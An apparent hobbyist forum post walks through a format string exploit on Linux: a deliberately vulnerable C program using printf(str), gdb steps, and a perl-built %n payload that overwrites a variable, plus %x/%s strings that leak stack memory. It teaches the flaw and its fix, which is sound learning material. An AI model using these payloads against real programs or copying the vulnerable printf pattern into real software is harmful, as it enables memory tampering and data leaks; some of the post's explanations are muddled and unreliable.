This is related to Mike's recent post about memory addresses. Okay, I have been messing around with buffer over flows. I have come to find out they are very simple to initiate. This is written for linux, and it is a "formated string" exploit.

Create a program:

#include "stdarg.h"
#include "stdio.h"
static int i;

void main(int argc, char *argv[])
{
char str[256];
i=10;
strcpy(str, argv[1]);
printf(str);
printf("\n variable i now %d\n",i);
}

"printf(str)" is the exploitable code. A person should never use "printf(str);" because it allows the contents of str to be printed, no matter what it is. The should have been "printf("%s", str)" which forces str to be printed as a string.
After this program is writen, compile, run a debugger debugger, make a.out the debugged file, then get the address of the exploitable variable:

[root@localhost root] gcc test.c
[root@localhost root] gdb
(gdb) file a.out
(gdb) print &i

"i" will now print out something like 0x8123456

This is the memory of the exploitable variable.
Now you are going to run the program and inject exploitable machine code. "perl -e" eliminates all non-useful memory stuffs (just trust me for now). The machine code is the memory address. Notice it is writen as 6534128 instead of 8123456

Now type this (and keep in mind the difference between ` and ' )

(gdb) run `perl -e 'print "\x65\x34\x12\x08_%x_%x_%x_%n"'`

and bam, your variable i should now have a different, exploited value.




Okay, the above explains very little. To understand more of what's going on, run ./a.out at the command line. It will print whatever you put as the argument.

So doing
./a.out hello
will print out "hello". The exploit comes when you start injecting things like,
./a.out %i
or
./a.out %x


Now here's where the fun starts:
./a.out %x%x%x%x%x%x etcetc %x%x

The more x's, the more it will print out into the stack. When you see %x's = "bfffd17" or bffffsomething, then that indicates something is contained within that memory address. At this point, replace the %x with %s. This will show the contents of the memory as a string (ie root directories, paths, file associations, etc). So you may run the program as:

./a.out %x%x%x%x%x%x%x%x%s%s%s%s%s%s%x%x%x%x%x%x


earlier I mentioned "perl -e". This simply removes all the unneeded places, where we injected %x just to see where a string was located that was viewable.

Now the next step, is to find the actual address of what prints out in %s. This will allow you to (in theory) over write paths, or other variables in the computer. Hence my question to Mike. I'll play with this more and let you know!